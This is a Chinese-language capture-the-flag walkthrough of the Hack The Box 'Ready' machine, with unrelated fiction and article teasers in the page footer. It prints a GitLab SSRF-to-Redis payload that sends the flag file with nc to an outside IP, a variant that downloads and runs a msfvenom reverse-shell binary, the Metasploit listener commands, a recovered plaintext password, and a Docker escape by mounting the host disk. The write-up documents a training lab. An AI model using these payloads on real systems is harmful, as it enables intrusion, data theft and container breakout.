HTB-Ready

概述

这个盒子是比较典型的Linux web应用场景,另外还涉及到docker容器逃逸。user flag获取比较直接,通过GitLab的SSRF漏洞直接干穿到主机。root的获取需要一定的技巧,考察linux主机上信息搜集的能力,还有就是docker容器逃逸,总体来讲还是非常经典的。

信息收集

nmap

image-20201226162132465.png

从扫描结果看,目标服务器是Unbutu主机,上面跑着GitLab,另外尝试用Dirbuster爆破目录没有发现可利用的点

用浏览器访问目标的5080端口,查看Help页的时候看到GitLab的版本是11.4.7,这里通过google直接搜索Gitlab的RCE漏洞很快找到了可利用的点,这是一个SSRF漏洞,作者还贴心的配了视频。

image-20201226162411413.png

根据视频中的讲解,在New project > Import project > Repo by URL 这里存在SSRF问题,根据文章的描述,payload如下:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| cat /home/dude/user.txt | nc 10.10.14.68 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrf.git 

先在本地起监听nc -lvp 1234,使用BurpSuite拦截一个请求,修改请求内容,这里要注意project name和project path不能重复,否则服务端会返回报错并且代码不会得到执行,所以每次请求完以后要改一下这两个地方;

将上述payload替换到project_import_url后面,如下图所示


image-20201226163053932.png

落脚点

虽然现在我们已经通过GitLab的SSRF漏洞获取到flag但是在进一步收集信息之前还是有必要获取一个稳定的shell,笔者也尝试了几种reverse shell注入的姿势,奈何都没有成功。这里我们采用meterpreter获取shell

  1. 生成木马:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.68 LPORT=4444 -f elf > payload.elf
  1. 把payload.elf放到kali的apache2目录下/var/www/html/tools准备让目标机器下载
  2. 在kali上面开启msfconsole执行监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.10.14.68
set lport 4444
run
  1. 重新构造SSRF的payload,用burpsuit发出去,让目标机器用wget下载木马,改个名字,加上权限然后执行连接
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| wget http://10.10.14.68/tools/payload.elf; mv payload.elf git; chmod 777 git; ./git; ls -l | nc 10.10.14.68 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrf.git

metasploit获取到shell,如下图:


image-20201230192506216.png

提权

拿到shell以后,上传linpeas.sh收集信息,从收集到的信息里看到几个包含password的文件在/opt/backup目录下,其中有一串明文口令gitlab_rails['smtp_password'] = 'wW59U!ZKMbG9+*#h',先记录一下。

通过大佬的提示得知,user shell是在一个容器里面,要获取root还必须逃逸到容器外面
可以通过查看PID=1的进程判断当前是否是在容器了,但是这种判断方式也不是100%准确,具体来说
在linux下面,PID=1的进程是init或者systemd;而在容器下查看ls -l /proc/1/exe 指向的一般是其他的应用进程


image-20201230212546613.png

尝试用su切换到root,提示su: must be run from a terminal,尝试用python获取一个完整的shell,发现环境变量里面没有python,经过一番查找发现python装到了其他位置,于是用如下命令获取shell

/opt/gitlab/embedded/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

拿到shell以后su到root,提示输入口令,这时把前面收集到的口令拿来尝试一番,发现root口令

image-20201230192344337.png

拿到容器的root以后,尝试逃逸到宿主机,payload如下:

s=$(cat /proc/cmdline)
uuid=$(echo ${s#*root=} | cut -d " " -f 1)
echo $uuid
mkdir /tmp/charlesliu
mount $uuid /tmp/charlesliu
chroot /tmp/charlesliu
image-20201230192204635.png

拿到root

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,847评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,208评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,587评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,942评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,332评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,587评论 1 218
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,853评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,568评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,273评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,542评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,033评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,373评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,031评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,073评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,830评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,628评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,537评论 2 269

推荐阅读更多精彩内容

  • ​ 思路流程: 信息收集 服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等) 网站指纹识别(包括,c...
    黑战士安全阅读 1,323评论 0 4
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,100评论 18 139
  • 久违的晴天,家长会。 家长大会开好到教室时,离放学已经没多少时间了。班主任说已经安排了三个家长分享经验。 放学铃声...
    飘雪儿5阅读 7,401评论 16 21
  • 今天感恩节哎,感谢一直在我身边的亲朋好友。感恩相遇!感恩不离不弃。 中午开了第一次的党会,身份的转变要...
    迷月闪星情阅读 10,498评论 0 11
  • 可爱进取,孤独成精。努力飞翔,天堂翱翔。战争美好,孤独进取。胆大飞翔,成就辉煌。努力进取,遥望,和谐家园。可爱游走...
    赵原野阅读 2,681评论 1 1